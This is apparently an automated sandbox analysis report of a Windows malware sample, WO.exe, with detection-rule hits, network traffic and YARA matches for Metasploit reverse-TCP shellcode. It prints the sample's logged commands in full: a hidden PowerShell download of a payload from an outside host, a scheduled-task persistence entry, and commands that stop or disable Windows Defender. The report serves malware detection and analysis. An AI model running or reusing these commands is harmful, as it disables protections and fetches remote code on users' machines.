Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f, CommandLine: schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f, ProcessId: 6328, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net stop WinDefend, CommandLine: net stop WinDefend, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net stop WinDefend, ProcessId: 5244, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", ProcessId: 7164, ProcessName: powershell.exe

Sigma detected: Stop Windows Service Via Net.EXE

Source: Process started

Author: Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: net stop WinDefend, CommandLine: net stop WinDefend, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net stop WinDefend, ProcessId: 5244, ProcessName: net.exe

Suricata Signatures

ETPRO MALWARE Possible Metasploit Payload (AB Template PDB)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T19:54:05.154586+0100	2820208	1	A Network Trojan was detected	185.151.51.214	443	192.168.2.4	49730	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\reddit.exe

Avira: detection malicious, Label: TR/Patched.Gen2

Found malware configuration

Source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Metasploit {"Type": "Metasploit Connect", "IP": "147.185.221.23", "Port": 1121}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\reddit.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: WO.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: WO.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 185.151.51.214:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:

Binary string: C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb source: reddit.exe.5.dr

Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\reddit.exe

Code function: 4x nop then mov cl, 90h

6_2_00404823

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 147.185.221.23:1121

Source: global traffic

HTTP traffic detected: GET /file/~d35Ci~adCQqRGWGduhs.exe HTTP/1.1Host: f.neko.peConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 147.185.221.23 147.185.221.23

Source: Joe Sandbox View	ASN Name: A2HOSTINGUS A2HOSTINGUS
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2820208 - Severity 1 - ETPRO MALWARE Possible Metasploit Payload (AB Template PDB) : 185.151.51.214:443 -> 192.168.2.4:49730

Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23

Source: C:\Users\user\AppData\Local\Temp\reddit.exe

Code function: 6_2_00690095 WSASocketA,connect,recv,closesocket,

6_2_00690095

Source: global traffic

HTTP traffic detected: GET /file/~d35Ci~adCQqRGWGduhs.exe HTTP/1.1Host: f.neko.peConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: f.neko.pe

Source: reddit.exe.5.dr	String found in binary or memory: http://www.apache.org/
Source: reddit.exe, 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 0000001B.00000000.1807381222.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 0000001C.00000002.2895738528.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 00000035.00000000.2341086873.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe.5.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: reddit.exe.5.dr	String found in binary or memory: http://www.zeustech.net/
Source: WO.exe	String found in binary or memory: https://f.neko.pe/file/~d35Ci~adCQqRGW
Source: WO.exe, WO.exe, 00000030.00000003.2342762090.0000000002396000.00000004.00000020.00020000.00000000.sdmp, WO.exe, 00000030.00000003.2342850075.0000000002190000.00000004.00000020.00020000.00000000.sdmp, WO.exe, 00000030.00000003.2342762090.0000000002390000.00000004.00000020.00020000.00000000.sdmp, 4784.bat.0.dr, 481C.bat.48.dr, 703A.bat.18.dr, 6F7F.bat.17.dr	String found in binary or memory: https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 185.151.51.214:443 -> 192.168.2.4:49730 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 53.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 28.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 53.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 6.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 27.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 6.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 27.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 28.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: 0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown
Source: C:\Users\user\AppData\Local\Temp\reddit.exe, type: DROPPED	Matched rule: Identifies Metasploit 64 bit reverse tcp shellcode. Author: unknown

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\reddit.exe

Jump to dropped file

Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140013021	0_2_0000000140013021
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140013507	0_2_0000000140013507
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140010210	0_2_0000000140010210
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140015220	0_2_0000000140015220
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_000000014000EA48	0_2_000000014000EA48
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140014E80	0_2_0000000140014E80
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140014E90	0_2_0000000140014E90
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140012E97	0_2_0000000140012E97
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140015F30	0_2_0000000140015F30
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_000000014000B758	0_2_000000014000B758
Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_0000000140013798	0_2_0000000140013798
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140013021	17_2_0000000140013021
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140013507	17_2_0000000140013507
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140010210	17_2_0000000140010210
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140015220	17_2_0000000140015220
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_000000014000EA48	17_2_000000014000EA48
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140014E80	17_2_0000000140014E80
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140014E90	17_2_0000000140014E90
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140012E97	17_2_0000000140012E97
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140015F30	17_2_0000000140015F30
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_000000014000B758	17_2_000000014000B758
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_0000000140013798	17_2_0000000140013798
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140013021	18_2_0000000140013021
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140013507	18_2_0000000140013507
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140010210	18_2_0000000140010210
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140015220	18_2_0000000140015220
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_000000014000EA48	18_2_000000014000EA48
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140014E80	18_2_0000000140014E80
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140014E90	18_2_0000000140014E90
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140012E97	18_2_0000000140012E97
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140015F30	18_2_0000000140015F30
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_000000014000B758	18_2_000000014000B758
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_0000000140013798	18_2_0000000140013798
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140013021	48_2_0000000140013021
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140013507	48_2_0000000140013507
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140010210	48_2_0000000140010210
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140015220	48_2_0000000140015220
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_000000014000EA48	48_2_000000014000EA48
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140014E80	48_2_0000000140014E80
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140014E90	48_2_0000000140014E90
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140012E97	48_2_0000000140012E97
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140015F30	48_2_0000000140015F30
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_000000014000B758	48_2_000000014000B758
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_0000000140013798	48_2_0000000140013798

Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe

Code function: String function: 000000014001F8E8 appears 33 times

Source: WO.exe, 00000000.00000002.1738273571.00000000004AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Ex vs WO.exe
Source: WO.exe, 00000011.00000002.1814326475.000000000044A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs WO.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 53.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 28.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 53.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 6.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 27.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 6.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 27.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 28.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
